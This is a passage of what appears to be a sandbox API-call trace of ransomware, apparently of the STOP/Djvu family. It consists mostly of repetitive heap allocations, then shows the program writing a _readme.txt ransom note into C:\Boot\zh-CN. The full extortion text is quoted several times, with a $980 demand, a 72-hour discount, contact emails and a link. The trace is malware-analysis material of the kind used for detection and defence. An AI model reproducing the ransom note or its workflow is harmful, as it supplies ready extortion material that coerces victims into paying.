(in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.588] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.592] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0066.592] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.593] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.593] PathFindFileNameW (pszPath="") returned="" [0066.593] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.593] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.593] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.593] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.593] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0066.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.593] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0066.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.594] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.594] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.594] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal 